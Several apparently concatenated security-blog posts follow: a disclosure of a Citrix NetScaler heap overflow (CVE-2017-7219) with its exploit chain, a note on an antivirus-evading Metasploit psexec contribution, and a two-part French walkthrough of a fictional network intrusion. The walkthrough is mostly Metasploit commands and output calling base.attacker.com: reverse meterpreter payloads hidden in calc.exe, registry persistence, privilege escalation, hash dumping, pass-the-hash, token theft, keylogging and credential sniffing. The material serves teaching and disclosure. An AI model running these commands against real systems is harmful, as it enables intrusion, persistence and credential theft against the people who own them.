Heap Overflow Vulnerability in Citrix NetScaler Gateway (CVE-2017-7219)

After presenting my findings on the Swisscom router at the CybSecConference last year, I started looking for a new product to analyze. I quickly found that it’s possible to download virtual “demo” appliances of Citrix products, so I went on to download a Netscaler VPX, which at the time was at version 11.10 (b50.10). The goal as always was to discover a way to compromise the device remotely, which is what led me to discover a heap overflow vulnerability which allows an authenticated user to compromise the device with root privileges. During the research, I (un)fortunately wasn’t able to find a way to exploit the flaw without credentials.

======================
TL;DR;
======================

A heap overflow in the “ping” functionality allows an authenticated VPN user to trigger a use-after-free condition in order to execute arbitrary commands on the appliance. (CVE-2017-7219)

The following Metasploit module can be used to exploit the vulnerability (use at your own risk…), though it will probably only function against the version that was analyzed.

======================
DETAILS
======================

As mentioned above, I began by downloading the virtual appliance and started it up on my machine. Since I’ve never used or configured a Netscaler appliance in the past, it took a while to get things going and configuring it in some kind of standard mode.

Once the appliance is started, it is possible to log into the console with the standard nsroot account. This gives access to a “limited” shell, but Citrix were nice enough to add a shell command which gives root access to the box, so I used this to extract the filesystem and analyze what was going on.

Going through the various files on the system, I found one that seemed promising which was named /netscaler/nsvpnd. As it’s name hints at, it is used to handle requests sent to the VPN web interface. Though only authenticated requests seem to get here, as authentication itself is performed by another binary on the system.

One of the requests that is performed by the nsvpnd binary is the ping request.

This results in the following HTTP request:

POST /cvpn/aHR0cDovLzEyNy4wLjAuMQ/fs/ping HTTP/1.1
Host: 
[...]
Cookie: NSC_AAAC=b2f85f0b72ef21c82eac5ac4d314a4170af182cd945525d5f4f58455e445a4a42; NSC_FSSO=0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41


host=127.0.0.1&nsc_nonce=kPIueluG6ubF37J0

Apparently the /cvpn/aHR0cDovLzEyNy4wLjAuMQ part of the URL is not actually required, so it can safely be removed. In any case, this request is eventually handled by one of two vulnerable functions that contain an unbounded strcpy with our host parameter, as shown below.

This is where the overflow happens, though we are not overwriting a stack variable, but one of the members of a struct, which is expected to be at most 256 bytes long. Our parameter on the other hand can go up to 512 bytes, which is what allows us to overflow this buffer.

So it is possible to write up to 256 bytes after the host member of the structure, therefore overwriting any other members of the structure after the host, which is where things get interesting. One of the following members is actually a pointer to another structure (a parameter list) on the heap which was previously allocated and eventually gets free‘d by the application when the request has completely been processed.  This means we can essentially free an arbitrary memory location.

Before going any further, a quick analysis of the system and binary show that FreeBSD uses jemalloc instead of dlmalloc, the heap is not executable, but the stack is, and ASLR is not enabled (this was 2016 after all). Another thing that was helpful in exploiting this particular issue is that all requests to the web interface are handled by one single process, which means we can actually interact many times with the process by sending multiple HTTP requests if required.

At this point, my idea to gain code execution was the following:

  1. Find a function pointer somewhere in the application, as well as the size that was used to allocate that memory
  2. Free the memory address of this function pointer
  3. On the next malloc of the appropriate size, the same address should be returned
  4. Overwrite the function pointer with user-controlled data (a pointer to my shellcode) when it is copied to this memory address
  5. Trigger the function pointer to call my shellcode

The only remaining problem is getting a shellcode to some predictable location. Thankfully, as mentioned earlier, ASLR is disabled, the stack is executable and the value we send in our host parameter is actually stored on the stack! All we need is to get this address and plug it into the function pointer to get the shellcode to execute. Obviously, despite ASLR being disabled, the stack will not always be exactly at the same place, so I used a super-l33t technique consisting of pre-pending my shellcode with lots of NOPs (because 2016).

So we can now break down each step and look at how we can achieve them:

  1. With some reverse engineering and debugging, I found one function pointer that was always allocated at address 0x2840a0c0. This function seems to be used to decode parameters sent in the HTTP requests. The memory address is initially allocated at 0x08097fb9 with a call to malloc(32).
  2. Use the overflow to overwrite the pointer to the parameter list with 0x2840a0c0. The address is then free‘d when the request has finished being processed. Here, we also need to take a note of where our host parameter is located on the stack, as this is where we will store our shellcode.
  3. While searching through the binary’s code, I found one place where a malloc is called with a length which can be specified by the VPN user directly. This is when providing the username and password to log into a SMB server. There may be other parts of the code that could be exploited in a more reliable manner, but this is the first I found and decided to go with it. The only problem is that it means we need to initiate a SMB login to a server that is accessible to the Netscaler appliance.
  4. As long as our password is between 16 and 32 characters, the previously free‘d address is returned and we can therefore overwrite the function pointer with the value of our password. It must therefore be the address of our shellcode, which we discovered was placed on the stack when performing the ping.
  5. The function pointer is actually called at regular intervals by the application while processing data, so we can just wait until it is called to get our code executed.

As you’ve probably deduced by now, in order to exploit the vulnerability, we are going to use two separate HTTP requests. The first one is used to put the shellcode on the stack and trigger the overflow, while the second is used to overwrite the function pointer with the address of our shellcode and actually execute our payload. This is summarised here:

Request 1 (ping host)

→ Start of host value contains shellcode which is conveniently placed on the stack

→ Use overflow to overwrite pointer to parameter list with 0x2840a0c0

→ When the request has been entirely processed, the program frees the address 0x2840a0c0

Request 2 (smb login)

→ Specify a password parameter of length between 16 and 32, this forces malloc to return the address that was previously freed.

→ Password value (shellcode location) overwrites function pointer that was previously located there

→ While processing the request, the overwritten function pointer is called, executing the shellcode

So that’s pretty much it. The following MSF module, should be able to exploit the flaw, but use it at your own risk. I’ve only tested it on a controlled lab environment.

For those of you who participated in our Insomni’hack teaser this year, you’ll notice many similarities with “The Great Escape – part 2” challenge, as it was very much inspired by this flaw.

======================
TIMELINE
======================

  • 08.12.2016: Initial report sent to Citrix
  • 09.12.2016: Case opened by Citrix to investigate the issue
  • 14.12.2016: Vulnerability acknowledged and reproduced by Citrix team
  • February-March 2017: Rollout of fixed Netscaler versions
  • 12.04.2017: Release of security bulletin: https://support.citrix.com/article/CTX222657

 

Metasploit psexec resurrect

What a joy !

I just received tonight this nice email from github :

Meatballs1 merged commit 1a3b319 into  from 

My 2 years old pull request to metasploit was just accepted !

Long story short

Annoyed to have to chain msfencode and msfencode and msfencode to bypass anti-virus during penetration testing, we wanted to create some packers that do the job. Better than that, we wanted to integrate it in metasploit to use it with all the framework features and improve our performances :D.

I firstly figured it out that most of AVs detect ‘exe’ loader creation technique (from msfpayload) even if you put a “foobar” payload : echo -n “foobar” | msfencode -t exe -e generic/none => HIGH SCORE on virustotal.

I proposed “exe-only” technique. Shortly, it write the payload at the original entry-point of your exe template and put the section RWX so it reduces the loader signature to one RWX section only.

So next we could focus on the payload encoding.

For information, I scanned every native windows exe and find that ntkrnlpa.exe and ntoskrnl.exe contains RWX section (if AVs shoots files for having RWX sections, it would shoot Windows native exe too).

After some debate this exe-only technique was added to metasploit.

Next part was to use it with the famous psexec module that nobody use anymore because every AVs trigger it.

It’s simply because service executable created by psexec module use subsitution method, replacing “PAYLOAD:” with the payload in a template. Again, AVs trigger template regardless of the payload and to create a working template it was such a pain that we prefered use a “normal” executable and send it using psexec custom_exe feature…

So I wanted to use the previously merged “exe-only” technique to create a register service payload prepended to the user encoded payload.

That’s that stuff that took two years to land in Metasploit, mostly because I’m a noob in ruby and git (booo) and a little bit of scepticism from some metasploit guys.

Anyway, I’m proud it’s finally merged, you could just track it for fun :

07/09/2012 – https://dev.metasploit.com/redmine/issues/7231

14/10/2012 – https://github.com/rapid7/metasploit-framework/pull/903

19/05/2013 – https://github.com/rapid7/metasploit-framework/pull/1850

20/11/2013 – https://github.com/rapid7/metasploit-framework/pull/2657

07/06/2014 – Merged !

I hope you will re-use psexec now and I’m sure it bypass a lot of BIG AV at this moment because their sandbox executes the service PE that actually register itself to the SVC manager and exit. SVC manager then re run the PE beginning at the registered service entry-point.

It was very cool to speak with Metasploit guys and I know I would have to persevere for my next pull request !

Le framework metasploit – 2/2

Ce post fait suite à la publication de la première partie de l’article sur le framework metasploit publié dans le numéro 52 du magasine MISC par Julien Bachmann et Nicolas Oberli.

Attaque du LAN

Mise en place d’une connexion persistante

Maintenant qu’un shell est accessible sur un serveur Windows du LAN il est intéressant de le transformer en accès persistant afin d’y accéder sans exploiter la vulnérabilité une nouvelle fois (si elle est encore présente) et avoir un accès direct à ce serveur. Pour ce faire, le script persistence installe un meterpreter chargé par un service Windows. Ici, il été modifié afin d’utiliser la payload windows/meterpreter/reverse_https.

[sourcecode language=”text”]

meterpreter > run persistence_https -X -i 5 -p 443 -r base.attacker.com

[*] Creating a persistent agent: LHOST=base.attacker.com LPORT=443 (interval=5 onboot=true)

[*] Persistent agent script is 609377 bytes long

[*] Uploaded the persistent agent to C:…EgcwcguAjH.vbs

[*] Agent executed with PID 1900

[*] Installing into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRunzqYcEUQUwNcdg

[*] Installed into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRunzqYcEUQUwNcdg

[/sourcecode]

Sur le serveur contrôlé par les attaquants, un handler écoutant sur le port 443 doit être mis en place afin de recevoir la demande de connexion émise par le serveur compromis:

[sourcecode language=”text”]

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_https

payload => windows/meterpreter/reverse_https

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > set LHOST base.attacker.com

LHOST => base.attacker.com

msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://base.attacker.com:443/

[*] Starting the payload handler…

[*] 192.168.145.22:1031 Request received for /A9ueO…

[*] 192.168.145.22:1031 Staging connection for target 9ueO received…

[*] Patching Target ID 9ueO into DLL

[*] 192.168.145.22:1034 Request received for /A9ueO…

[*] 192.168.145.22:1034 Staging connection for target 9ueO received…

[*] Patching Target ID 9ueO into DLL

[*] 192.168.145.22:1035 Request received for /B9ueO…

[*] 192.168.145.22:1035 Stage connection for target 9ueO received…

[*] Meterpreter session 5 opened (base.attacker.com:443 -> 192.168.145.22:1035) at Fri Sep 10 15:44:01 +0200 2010

[/sourcecode]

Elévation de privilèges

Certains exploits ne permettent pas d’obtenir directement les privilèges LOCAL SYSTEM, comme ici où l’exploit donne un accès en tant qu’administrateur local. Un tel accès est nécessaire afin d’accéder à des points clef du système comme les ruches SAM et Security par exemple. Le module priv exploite diverses techniques afin d’obtenir plus de privilèges via la commande getsystem. Toutes ces techniques, exceptée Kitrap0d, nécessitent l’obtention des droits d’administrateur local.

Deux de ces méthodes reposent sur la fonction Advapi32!ImpersonateNamedPipeClient qui permet d’usurper l’identité d’un processus se connectant à un tube nommé crée depuis le processus ayant les droits administrateur local. La première crée un service qui exécute un cmd.exe se connectant au tube nommé et la seconde utilise une bibliothèque qui se charge en tant que service. Cette dernière a l’inconvénient de créer un fichier sur le disque dur.

La méthode suivante nécessite, en plus des droits d’administrateur local, les droits SeDebugPrivilege. Dans la pratique, il est plutôt rare d’avoir un compte administrateur local sans ces droits étant donné qu’il peut se les attribuer. La méthode Reflective DLL Injection [LOADR] est utilisée afin de charger une bibliothèque dans le contexte d’un service. Cette dernière duplique son jeton (advapi32!OpenProcessToken et advapi32!DuplicateTokenEx) et l’applique au thread dans lequel tourne le meterpreter (advapi32! SetThreadToken).

Une vulnérabilité dans le sous-système NTVDM est exploitée dans la dernière méthode. Découverte par Tavis Ormandy [NTVDM], elle exécute du code dans le ring0 depuis un processus (ring3). Une fois dans le contexte du kernel, les jetons d’accès des processus contenant le meterpreter et SYSTEM sont recherchés via nt!PsLookupProcessByProcessId et nt!PsReferencePrimaryToken et celui du meterpreter est modifié pour lui donner les droits LOCAL SYSTEM.

[sourcecode language=”text”]

meterpreter > use priv

Loading extension priv…success.

meterpreter > getsystem

…got system (via technique 1).

[/sourcecode]

Compromission d’autres machines du LAN

Récupération des condensats LM et NTLM

Lors de la compromission d’une machine sous Windows, la récupération des condensats LM et NTLM est une aide précieuse pour l’attaque d’autres hôtes (réutilisation de mot de passe). Le framework fourni deux méthodes pour récupérer ces précieux condensats.

Le module priv dump, via la commande hashump, les condensats LM et NTLM. Cette méthode repose sur le même procédé que pwdump afin de récupérer les condensats sur un système démarré pour contourner le chiffrement des ruches par la SYSKEY. Après élévation de privilèges en tant que LOCAL SYSTEM, la bibliothèque samsrv.dll est chargée et les fonctions donnant accès aux condensats sont appelées (samsrv!{SamrOpenDomain, SamrEnumerateUsersInDomain, SamrOpenUser, SamrQueryInformationUser, …}).

L’alternative à cette méthode est l’utilisation du script hashdump. Ce dernier récupère la bootkey depuis les clefs SYSTEMCurrentControlSetControlLsa{JD,Skew1,GBG,Data} , la remet dans l’ordre puis l’utilise pour déchiffrer les condensats des utilisateurs, stockés dans la base des registres.

[sourcecode language=”text”]

meterpreter > use priv

Loading extension priv…success.

meterpreter > hashdump

Administrateur:500:e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx:::

[/sourcecode]

L’utilisation de la commande hashdump n’est pas très furtive, et de nombreux antivirus et HIDS détectent les injections de code au sein de LSASS.EXE, ce qui peut provoquer un crash de ce dernier et par la même occasion, un reboot du serveur victime. Plutôt que de désactiver l’antivirus (le script killav du meterpreter le fait plutôt bien), il est préférable d’utiliser la seconde méthode qui consiste justement à utiliser des appels système “légitimes” afin de ne pas mettre en péril le fonctionnement du serveur.

A noter en outre que la commande hashdump du module priv peut être exécutée en tant qu’administrateur local du poste visé, alors que le script nécessite quant à lui obligatoirement les privilèges SYSTEM.

Réutilisation des condensats

À partir du moment où les condensats LM et NTLM sont à disposition, le premier réflexe est de sortir les rainbowtables pour les casser. Heureusement, comme bien souvent rappelé sur certains blogs au milieu d’autres échecs de la sécurité, le mécanisme d’authentification de Windows souffre d’un problème permettant de se connecter à distance à une machine sans avoir à casser le condensat. Cette attaque, nommée pass the hash [PSHTK] est implémentée dans metasploit afin de l’utiliser dans différents modules liés au protocole SMB. Dans un premier temps, la recherche des hôtes accessibles est réalisée à l’aide du module smb_login puis le module psexec sera utilisé pour avoir une invite de commandes sur les serveurs.

Le module smb_login tente simplement de se connecter sur le service SMB d’une liste de machines. Ici, le serveur du LAN sert de pivot afin d’utiliser les modules de metasploit contre les machines se trouvant de son coté du firewall.

[sourcecode language=”text”]

> route add 192.168.145.0 255.255.255.0 5

> use auxiliary/scanner/smb/smb_login

> set smbdomain .

> set smbuser administrateur

> set smbpass e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx

> set rhosts 192.168.145.0/24

> run

[*] Starting SMB login attempt on 192.168.145.0

..[+] 192.168.145.33 – SUCCESSFUL LOGIN (Windows Server 2003 R2 3790 Service Pack 2) ‘administrateur’ : ‘e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx’

[/sourcecode]

Le binaire psexec est souvent utilisé lors des tests de pénétration dans le but d’avoir une invite de commandes sur un système pour lequel les authentifiants sont connus. Comme toute bonne trousse à outils, metasploit intègre un module reposant sur psexec et charge un meterpreter sur ces machines.

[sourcecode language=”text”]

> use exploit/windows/smb/psexec

> set payload windows/meterpreter/bind_tcp

> set lport 1337

> set rhost 192.168.145.33

> exploit

[*] Connecting to the server…

[*] Started bind handler

[*] Authenticating as user ‘administrateur’…

[*] Uploading payload…

[*] Meterpreter session 8 opened…

[/sourcecode]

À noter que si le condensat LM n’est pas disponible, il faut le remplacer par 32 ‘0’ au moment de donner une valeur à la variable smbpass.

Jetons d’accès

Ayant gagné un accès à un nouveau serveur du LAN, la commande list_tokens du module incognito liste les utilisateurs connecté. Ce module manipule les jetons d’accès générés au moment où une session interactive est initiée (console, une session RDP ou lors d’un accès à un serveur de fichiers chiffré par exemple).

La liste des jetons d’accès est obtenue via NtQuerySystemInformation avec comme argument SystemHandleInformation, puis pour chaque processus la fonction NtQueryObject est utilisée pour récupérer les objets ayant pour type Token. Pour l’affichage, le nom correspondant à un jeton est retourné par un appel à la fonction advapi32!LookupAccountSidA.

[sourcecode language=”text”]

meterpreter > use incognito

Loading extension incognito…success.

meterpreter > list_tokens -u

Delegation Tokens Available

========================================

AUTORITE NTSERVICE LOCAL

AUTORITE NTSERVICE RESEAU

AUTORITE NTSYSTEM

TESTAdministrateur

Impersonation Tokens Available

========================================

AUTORITE NTANONYMOUS LOGON

[/sourcecode]

Par chance, l’administrateur du domaine est également connecté sur cette machine. La commande snarf_hashes empreinte l’identité des jetons disponible afin d’initier une connexion sur un serveur SMB. En utilisant le second serveur du LAN compromis au préalable (linux.test.internal), il est possible de lancer le module auxiliary/server/capture/smb qui envoie toujours le même challenge lors d’une connexion (x11x22x33x44x55x66x77x88) afin d’utiliser des tables HALFLM pour retrouver les mots de passe plus rapidement.

Sur le serveur Linux compromis un peu plus tôt (linux.test.internal) :

[sourcecode language=”text”]

$ ./msfconsole

> use auxiliary/server/capture/smb

msf auxiliary(smb) > run

[/sourcecode]

Puis sur le dernier serveur Windows compromis :

[sourcecode language=”text”]

meterpreter > snarf_hashes linux.test.internal

[*] Snarfing token hashes…

[/sourcecode]

Ce qui donneles condensats LM de l’administrateur du domaine depuis le serveur linux.

[sourcecode language=”text”]

[*] Captured 127.0.0.1:50863 TESTAdministrateur
LMHASH:52cb0e0xxe1e216509bc0268d91ee187d5f4a3dad8f5adxx
NTHASH:52cb0e0xxe1e216509bc0268d91ee187d5f4a3dad8f5adxx OS:Windows Server 2003 R2 3790 Service Pack 2 LM:

[/sourcecode]

Une autre solution consiste à usurper l’identité TESTAdministrateur afin d’ajouter un compte faisant partie du groupe d’administrateurs du domaine via les commandes add_user et add_group_user du module incognito.

Récupération d’informations

Keylogging

Maintenant que le domaine est sous-contrôle, vient le moment de récupérer des informations. Le framework dispose ici encore de modules pratiques pour ce cas. Afin de gagner des accès à d’autres applications (web ou bases de données SQL par exemple), il est intéressant de capturer les frappes des utilisateurs. Le script keylogrecorder récupère les frappes d’un utilisateur sur le bureau ou dans winlogon, lancé dans une session séparée afin d’empêcher l’utilisation d’un keylogger classique. Il utilise la fonctionnalité de migration du meterpreter afin de capturer les touches dans winlogon (migration dans le processus winlogon). La récupération des touches est réalisée en appelant la fonction user32!GetAsyncKeyState.

[sourcecode language=”text”]

meterpreter > bgrun keylogrecorder -c 0 -t 15

[*] Executed Meterpreter with Job ID 0

[*] explorer.exe Process found, migrating into 1148

[*] Migration Successful!!

[*] Starting the keystroke sniffer…

[*] Keystrokes being saved in to /Users/…/192.168.145.33_20100914.3309.txt

[*] Recording

[/sourcecode]

Le commutateur -l du script verrouille l’écran de l’utilisateur afin de l’obliger à entrer son mot-de-passe. Cette fonctionnalité repose sur l’utilisation de l’extension railgun. Cette dernier offre un accès direct à l’API Windows depuis le shell ruby. Le code pour verrouiller l’écran est équivalent au suivant :

[sourcecode language=”text”]

meterpreter> irb

>> client.core.use(‘railgun’)

>> client.railgun.user32.LockWorkStation()

[/sourcecode]

De même, il est possible d’utiliser d’autres bibliothèques dans railgun en les chargeant puis en définissant les fonctions, comme par exemple :

[sourcecode language=”text”]

>> client.railgun.add_dll(‘shell32′,’c:\windows\system32\shell32.dll’)

>> client.railgun.add_function(‘shell32’, ‘IsUserAnAdmin’, ‘BOOL’, [])

>> client.railgun.shell32.IsUserAnAdmin()

[/sourcecode]

Récupération de fichiers

Lors d’une intrusion, il est intéressant de récupérer des fichiers afin de glaner d’avantage d’informations. Depuis peu, il est possible de rechercher des fichiers depuis le meterpreter via la très récente commande search :

[sourcecode language=”text”]

meterpreter > search -f *.pdf

Found 241 results…

c:documents and settings…network_diagram.pdf (44101 bytes)

z:\localscapy-2.0.1…scapy-concept.pdf (7842 bytes)

[/sourcecode]

Une fois les fichiers intéressants localisés, il est possible de les télécharger avec la commande download:

[sourcecode language=”text”]

meterpreter > download c:documents and settings…network_diagram.pdf /tmp/diagram.pdf

[/sourcecode]

La fonction search recherche également, sur Windows Vista, 7 et 2008 via les services d’indexation de Windows, dans l’historique du navigateur ainsi que dans les emails de l’utilisateur en spécifiant iehistory pour l’historique et mapi pour les mails.

Conclusion

Il est difficile de présenter toutes les utilisations du framework metasploit tant le sujet est vaste et en mouvement (modules spécifiques au wifi, payloads pour os mobiles, attaques client-side, …) et des sites de références permettent de suivre l’évolution du framework ([OFFSEC], [BLOG1] et [BLOG2]). L’exemple décrit ici montre en cas d’utilisation de metasploit des portes de la DMZ jusqu’au coeur du domaine Windows. À noter que metasploit est également utilisable depuis des terminaux mobiles comme les iPhones ou le N900 et de ce fait, cette attaque pourrait être exécutée depuis un café.

Nous tenons à préciser qu’aucun administrateur système n’a été blessé dans le cadre de cette intrusion fictive.

Références

[DNET] http://code.google.com/p/libdnet/

[LOADR] http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf

[NTVDM] http://seclists.org/fulldisclosure/2010/Jan/341

[PSHTK] http://oss.coresecurity.com/projects/pshtoolkit.htm

[TOKEN] http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access- tokens_2008-04-14.pdf

[OFFSEC] http://www.offensive-security.com/metasploit-unleashed/

[BLOG1] http://www.room362.com/

[BLOG2] http://carnal0wnage.blogspot.com/

Le framework metasploit – 1/2

Dans le numéro 52 du magasine MISC Julien Bachmann et Nicolas Oberli ont publié un article décrivant l’utilisation du framework metasploit dans le cadre d’une intrusion fictive. Cet article a été découpé en deux parties qui seront publiées sur ce blog.

Introduction

Metasploit est un framework libre d’exploitation de vulnérabilités facilitant la pré-exploitation (recherche de bugs, écriture d’exploits ou de shellcodes…), l’exploitation (envoie de l’exploit), et la post-exploitation (exécution de code arbitraire, accès à des fichiers, injection de serveur VNC…). Créé en 2003 par HD Moore, cet outil n’a cessé d’évoluer notamment grâce à communauté qui s’est formée autour de lui.

Ce framework se décompose en plusieurs parties: des interfaces (msfconsole, msfgui, …), des modules (exploits, payloads, scanners, …) et des scripts pour le meterpreter. Ce dernier se présente sous la forme d’un shell offrant de nombreuses fonctionnalités et permet via des scripts ruby de rajouter celles qui pourrait venir à manquer.

Étant donné la quantité de possibilités offertes, nous ne pouvons tout présenter. Nous étudions certaines fonctionnalités utilisées dans le cadre d’une intrusion fictive.

Attaque d’un serveur Windows en DMZ

Exploitation d’une vulnérabilité de type inclusion de fichier

Dans cette intrusion fictive, le point d’entrée est un serveur Windows se situant dans la DMZ. Ce dernier héberge un site en php vulnérable à une faille de type inclusion de fichiers. Le premier réflexe serait de sortir le shell php que l’on garde soigneusement au chaud, mais ici déjà, metasploit nous permet d’utiliser un module pour exploiter cette vulnérabilité.

Dans un premier temps, la commande use permet de sélectionner un module à utiliser (back permet de sortir de ce module). Une fois le module chargé, les variables utilisées (ici phpuri, rhost, payload et lhost) doivent être initialisés à l’aide de la commande set. Finalement, la commande exploit déchaine les enfers^x^x exécute le module.

[sourcecode language=”text”]
msf > use exploit/unix/webapp/php_include

msf exploit(php_include) > set phpuri /index.php?page=XXpathXX

msf exploit(php_include) > set rhost web.test.com

msf exploit(php_include) > set payload php/meterpreter/reverse_tcp

msf exploit(php_include) > set lhost base.attacker.com

msf exploit(php_include) > exploit

[*] Started reverse handler on base.attacker.com:4444

[*] Using URL: http://base.attacker.com:8080/fHYxfNlfsyZV

[*] Local IP: http://base.attacker.com:8080/fHYxfNlfsyZV

[*] PHP include server started.

[*] Sending stage (29387 bytes) to 127.0.0.1

[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:59550) at Mon Sep 13 11:59:28 +0200 2010

meterpreter > getuid

Server username: Administrateur (0)

[/sourcecode]

Le meterpreter php est un ajout récent au framework. Pour des raisons bien compréhensibles, il ne permet pas d’offrir toutes les fonctionnalités du meterpreter binaire comme l’interaction avec les autres processus du système. En revanche, il permet de manipuler le système de fichiers et donc d’uploader un fichier exécutable et de l’exécuter.

Pour transformer un payload en binaire exécutable, deux binaires sont fournis par metasploit : msfpayload et msfencode. Msfpayload génère le bytecode d’un payload dans divers formats (brut, tableau C, Ruby, et autres). Dans notre cas, nous utilisons le meterpreter qui se connectera au travers d’un tunnel SSL sur notre poste, ceci afin de passer outre un éventuel firewall. Msfencode permet quant à lui d’effectuer des transformations sur un binaire, comme un encodage du bytecode ou encore l’inclusion du code dans un autre binaire. Dans cet exemple, nous passons par la fonction loop-vbs qui crée un script vbs exécuté à chaque fois que le processus est tué. Au passage, nous incluons le meterpreter dans calc.exe afin de masquer un peu plus l’attaque.

Pour arriver à ce résultat, il suffit d’appeler msfpayload, de passer les bons paramètres et de « piper » la sortie dans msfencode qui s’occupera de la mise en forme de notre payload.

[sourcecode language=”text”]
$ ./msfpayload windows/meterpreter/reverse_https LHOST=base.attacker.com LPORT=443 R | ./msfencode -x calc.exe -t loop-vbs -o final.vbs
[/sourcecode]

Du coté du shell metasploit, il faut mettre en place le listener qui attend une connexion https d’un meterpreter sur le port 443 :

[sourcecode language=”text”]

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https

msf exploit(handler) > set LPORT 443

msf exploit(handler) > set LHOST base.attacker.com

msf exploit(handler) > exploit -j

[*] HTTPS listener started on http://base.attacker.com:443/

[*] Starting the payload handler…

[/sourcecode]

De retour dans le meterpreter php il reste à uploader le script vbs et à le lancer:

[sourcecode language=”text”]

meterpreter > upload /Users/guru/Desktop/final.vbs .

[*] uploading : /Users/guru/Desktop/final.vbs -> .

meterpreter > execute -f final.vbs

[/sourcecode]

Ecoutes sur le réseau

Le site hébergé par le serveur maintenant sous-contrôle contient une partie authentifiée. Le module sniffer (fondé sur la bibliothèque dnet [DNET]) du meterpreter écoute les communications sur une interface réseau et récupère ainsi des authentifiants envoyés en clair ou d’autres informations intéressantes.

Tout comme dans le shell metasploit, la commande use charge un module dans le meterpreter. Une fois chargé la commande help est utilisée pour voir les fonctionnalités ajoutées.

[sourcecode language=”text”]

meterpreter > use sniffer

Loading extension sniffer…success.

[/sourcecode]

La commande sniffer_interfaces liste les interfaces utilisables pour l’écoute. Une fois une interface sélectionnée, la capture peut être lancée avec sniffer_start. La commande sniffer_dump récupère un fichier au format pcap des datagrammes capturés.

[sourcecode language=”text”]

meterpreter > sniffer_interfaces

1 – ‘Connexion r?seau Intel(R) PRO/1000 MT’ ( type:0 mtu:1514 usable:true dhcp:false wifi:false )

meterpreter > sniffer_start 1

[*] Capture started on interface 1 (50000 packet buffer)

meterpreter > sniffer_dump 1 /tmp/capture.pcap

[*] Flushing packet capture buffer for interface 1…

[*] Flushed 15 packets (4504 bytes)

[*] Downloaded 100% (4504/4504)…

[*] Download completed, converting to PCAP…

[*] PCAP file written to /tmp/capture.pcap

meterpreter > sniffer_stop 1

[*] Capture stopped on interface 1

[/sourcecode]

Afin de simplifier l’analyse de la capture, le module psnuffle permet d’analyser le fichier pcap et d’en extraire les authentifiants de manière automatique, un peu à la manière d’un dsniff. À noter que ce module permet également d’écouter le trafic directement depuis la carte réseau.

[sourcecode language=”text”]

msf > use sniffer/psnuffle

msf auxiliary(psnuffle) > set PCAPFILE /tmp/capture.pcap

msf auxiliary(psnuffle) > set RHOST 0.0.0.0

msf auxiliary(psnuffle) > exploit

[*] Loaded protocol FTP from /opt/metasploit/data/exploits/psnuffle/ftp.rb…

[*] Loaded protocol IMAP from /opt/metasploit/data/exploits/psnuffle/imap.rb…

[*] Loaded protocol POP3 from /opt/metasploit/data/exploits/psnuffle/pop3.rb…

[*] Loaded protocol URL from /opt/metasploit/data/exploits/psnuffle/url.rb…

[*] Sniffing traffic…..

[*] Successful FTP Login: 192.168.145.22:21-192.168.122.10:50117 >> bofh / bofh (220- Jgaa’s Fan Club FTP Service WAR-FTPD 1.65 Ready )

[*] Finished sniffing

[/sourcecode]

Dans la capture produite, une connexion à un serveur FTP situé dans le LAN a été capturée. En plus d’obtenir des authentifiants, elle montre qu’une version vulnérable de WAR-FTPD est en écoute sur ce système Windows.

Une autre connexion sur un service vulnérable (samba 3.0.20) présent sur le serveur linux.test.internal a également été découverte en analysant la capture à l’aide de Wireshark et est exploitée pour obtenir un accès en tant que l’utilisateur root sur ce serveur.

capture de la version du service vulnérable

[sourcecode language=”text”]

msf > use multi/samba/usermap_script

msf exploit(usermap_script) > set rhost linux.test.internal

rhost => 192.168.145.145

msf exploit(usermap_script) > set payload cmd/unix/bind_perl

payload => cmd/unix/bind_perl

msf exploit(usermap_script) > exploit

[*] Started bind handler

[*] Command shell session 7 opened (192.168.145.1:50890 -> linux.test.internal:4444) at Mon Sep 27 14:38:02 +0200 2010

whoami

root

[/sourcecode]

Pivot

Les deux hôtes vulnérables se situant dans le LAN protégé par un firewall, il est impossible de les attaquer directement. Là encore, comme les autres frameworks d’exploitation, metasploit peut pivoter à partir d’une machine compromise. Ce pivot (commande route) route les commandes exécutées depuis metasploit à travers une session préalablement ouverte.

La session en cours est passée en tâche de fond ([Ctrl] + [Z]) afin de créer le tunnel puis exploiter la vulnérabilité.

[sourcecode language=”text”]

meterpreter >

Background session 4? [y/N] y

msf exploit(handler) > route add 192.168.145.0 255.255.255.0 4

msf exploit(handler) > use exploit/windows/ftp/warftpd_165_user

msf exploit(warftpd_165_user) > set rhost 192.168.145.22

msf exploit(warftpd_165_user) > set payload windows/meterpreter/reverse_https

msf exploit(warftpd_165_user) > set lport 8443

msf exploit(warftpd_165_user) > exploit

[/sourcecode]

Le serveur Windows du LAN est maintenant sous contrôle à son tour.

Le serveur linux sera compromis de la même façon, à la différence qu’une version complète de metasploit sera uploadée pour s’en servir, si besoin, plus tard.

Prochain épisode: Attaque du LAN…